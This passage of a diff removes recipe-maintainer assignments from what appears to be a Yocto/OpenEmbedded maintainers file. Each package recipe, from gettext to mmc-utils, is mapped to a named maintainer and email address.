-RECIPE_MAINTAINER_pn-gettext = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-gettext-minimal-native = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-ghostscript = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-git = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-glew = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-glib-2.0 = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-glib-networking = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-glibc = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-glibc-locale = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-glibc-mtrace = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-glibc-scripts = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-glibc-testsuite = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-glide = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
-RECIPE_MAINTAINER_pn-gmp = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-glslang = "Jose Quaresma <quaresma.jose@gmail.com>"
-RECIPE_MAINTAINER_pn-gnome-desktop-testing = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-gnu-config = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-gnu-efi = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-gnupg = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-gnutls = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-go = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-go-binary-native = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-go-cross-${TUNE_PKGARCH} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-go-cross-canadian-${TRANSLATED_TARGET_ARCH} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-go-crosssdk-${SDK_SYS} = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-go-dep = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
-RECIPE_MAINTAINER_pn-go-helloworld = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-go-native = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-go-runtime = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-gobject-introspection = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-gperf = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-gpgme = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-gptfdisk = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-grep = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-groff = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-grub = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-grub-bootconf = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-grub-efi = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gsettings-desktop-schemas = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gst-devtools = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gst-examples = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gstreamer1.0 = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gstreamer1.0-libav = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gstreamer1.0-omx = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gstreamer1.0-meta-base = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gstreamer1.0-plugins-bad = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gstreamer1.0-plugins-base = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gstreamer1.0-plugins-good = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gstreamer1.0-plugins-ugly = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gstreamer1.0-python = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gstreamer1.0-rtsp-server = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gstreamer1.0-vaapi = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gtk+3 = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-gtk-doc = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-gzip = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-harfbuzz = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-hdparm = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-help2man = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-hicolor-icon-theme = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-hwlatdetect = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-i2c-tools = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-icecc-create-env = "Joshua Watt <JPEWhacker@gmail.com>"
-RECIPE_MAINTAINER_pn-icu = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-ifupdown = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-igt-gpu-tools = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-inetutils = "Tom Rini <trini@konsulko.com>"
-RECIPE_MAINTAINER_pn-init-ifupdown = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-init-system-helpers = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-initramfs-boot = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
-RECIPE_MAINTAINER_pn-initramfs-framework = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
-RECIPE_MAINTAINER_pn-initramfs-live-boot = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-initramfs-live-boot-tiny = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-initramfs-live-install = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-initramfs-live-install-efi = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-initramfs-live-install-efi-testfs = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-initramfs-live-install-testfs = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-initscripts = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-intltool = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-iproute2 = "Changhyeok Bae <changhyeok.bae@gmail.com>"
-RECIPE_MAINTAINER_pn-iptables = "Changhyeok Bae <changhyeok.bae@gmail.com>"
-RECIPE_MAINTAINER_pn-iputils = "Changhyeok Bae <changhyeok.bae@gmail.com>"
-RECIPE_MAINTAINER_pn-iso-codes = "Wang Mingyu <wangmy@cn.fujitsu.com>"
-RECIPE_MAINTAINER_pn-itstool = "Andreas Müller <schnitzeltony@gmail.com>"
-RECIPE_MAINTAINER_pn-iw = "Changhyeok Bae <changhyeok.bae@gmail.com>"
-RECIPE_MAINTAINER_pn-libjpeg-turbo = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-json-c = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-json-glib = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-jquery = "Joshua Watt <JPEWhacker@gmail.com>"
-RECIPE_MAINTAINER_pn-kbd = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-kea = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-kern-tools-native = "Bruce Ashfield <bruce.ashfield@gmail.com>"
-RECIPE_MAINTAINER_pn-kernel-devsrc = "Bruce Ashfield <bruce.ashfield@gmail.com>"
-RECIPE_MAINTAINER_pn-kexec-tools = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-keymaps = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-kmod = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-kmod-native = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-kmscube = "Carlos Rafael Giani <dv@pseudoterminal.org>"
-RECIPE_MAINTAINER_pn-l3afpad = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-lame = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-ldconfig-native = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-less = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-liba52 = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-libacpi = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libaio = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libarchive = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
-RECIPE_MAINTAINER_pn-libassuan = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libatomic-ops = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libbsd = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-libcap = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-libcap-ng = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-libcap-ng-python = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-libcgroup = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libcheck = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-libcomps = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libconvert-asn1-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libcroco = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libdaemon = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libdazzle = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libdmx = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libdnf = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libdrm = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
-RECIPE_MAINTAINER_pn-libedit = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libepoxy = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-liberation-fonts = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-liberror-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libevdev = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libevent = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libexif = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libfakekey = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libffi = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libfm = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libfm-extra = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libfontenc = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libgcc = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libgcc-initial = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libgcrypt = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-libgfortran = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libgloss = "Alejandro Hernandez <aehs29@gmail.com>"
-RECIPE_MAINTAINER_pn-libglu = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-libgpg-error = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-libgudev = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-libhandy = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libical = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-libice = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libid3tag = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-libidn2 = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-libinput = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-libjitterentropy = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-libksba = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libmatchbox = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-libmnl = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libmpc = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libmodule-build-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libmodulemd = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libnewt = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-libnl = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libnotify = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libnsl2 = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libnss-mdns = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libnss-nis = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libogg = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libomxil = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libpam = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libpcap = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libpciaccess = "Wang Mingyu <wangmy@cn.fujitsu.com>"
-RECIPE_MAINTAINER_pn-libpcre = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-libpcre2 = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libpipeline = "Wang Mingyu <wangmy@cn.fujitsu.com>"
-RECIPE_MAINTAINER_pn-libpng = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libportal = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libproxy = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libpthread-stubs = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libpsl = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-librepo = "Wang Mingyu <wangmy@cn.fujitsu.com>"
-RECIPE_MAINTAINER_pn-librsvg = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libsamplerate0 = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-libsdl2 = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-libsecret = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libsm = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libsndfile1 = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-libsolv = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libsoup-2.4 = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libssp-nonshared = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libtasn1 = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libtest-needs-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libtheora = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libtimedate-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libtirpc = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libtool = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-libtool-cross = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-libtool-native = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-libucontext = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libunistring = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libunwind = "Bruce Ashfield <bruce.ashfield@gmail.com>"
-RECIPE_MAINTAINER_pn-liburcu = "Wang Mingyu <wangmy@cn.fujitsu.com>"
-RECIPE_MAINTAINER_pn-liburi-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libusb1 = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libubootenv = "Stefano Babic <sbabic@denx.de>"
-RECIPE_MAINTAINER_pn-libuv = "Armin Kuster <akuster@mvista.com>"
-RECIPE_MAINTAINER_pn-libva = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libva-initial = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libva-utils = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libvorbis = "Zang Ruochen <zangrc.fnst@cn.fujitsu.com>"
-RECIPE_MAINTAINER_pn-libwebp = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libwpe = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libx11 = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxau = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxcb = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxcomposite = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxcursor = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxcrypt = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libxcrypt-compat = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libxdamage = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxdmcp = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxext = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxfixes = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxfont = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxfont2 = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxft = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxi = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxinerama = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxkbcommon = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxkbfile = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxml-namespacesupport-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libxml-parser-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libxml-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libxml-sax-base-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libxml-sax-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libxml-simple-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libxml2 = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-libxmu = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxpm = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxrandr = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxrender = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxres = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxscrnsaver = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxshmfence = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxslt = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libxt = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxtst = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxv = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxvmc = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxxf86vm = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libyaml = "Wang Mingyu <wangmy@cn.fujitsu.com>"
-RECIPE_MAINTAINER_pn-lighttpd = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-linux-dummy = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-linux-firmware = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
-RECIPE_MAINTAINER_pn-linux-libc-headers = "Bruce Ashfield <bruce.ashfield@gmail.com>"
-RECIPE_MAINTAINER_pn-linux-yocto = "Bruce Ashfield <bruce.ashfield@gmail.com>"
-RECIPE_MAINTAINER_pn-linux-yocto-dev = "Bruce Ashfield <bruce.ashfield@gmail.com>"
-RECIPE_MAINTAINER_pn-linux-yocto-rt = "Bruce Ashfield <bruce.ashfield@gmail.com>"
-RECIPE_MAINTAINER_pn-linux-yocto-tiny = "Bruce Ashfield <bruce.ashfield@gmail.com>"
-RECIPE_MAINTAINER_pn-llvm = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-logrotate = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-log4cplus = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-lrzsz = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-lsb-release = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-lsof = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-ltp = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-lttng-modules = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-lttng-tools = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-lttng-ust = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-lz4 = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-lzo = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-lzip = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-lzop = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-m4 = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-m4-native = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-make = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-makedepend = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-makedevs = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-make-mod-scripts = "Bruce Ashfield <bruce.ashfield@gmail.com>"
-RECIPE_MAINTAINER_pn-man-db = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-man-pages = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-matchbox-config-gtk = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-matchbox-desktop = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-matchbox-keyboard = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-matchbox-panel-2 = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-matchbox-session = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-matchbox-session-sato = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-matchbox-terminal = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-matchbox-theme-sato = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-matchbox-wm = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-mc = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-mdadm = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-menu-cache = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-mesa = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
-RECIPE_MAINTAINER_pn-mesa-demos = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
-RECIPE_MAINTAINER_pn-mesa-gl = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
-RECIPE_MAINTAINER_pn-meson = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-meta-environment-${MACHINE} = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-meta-environment-extsdk-${MACHINE} = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-meta-extsdk-toolchain = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-meta-go-toolchain = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-meta-ide-support = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-meta-toolchain = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-meta-world-pkgdata = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-mingetty = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-mini-x-session = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-minicom = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-mkfontscale = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-mklibs-native = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-mmc-utils = "Anuj Mittal <anuj.mittal@intel.com>"
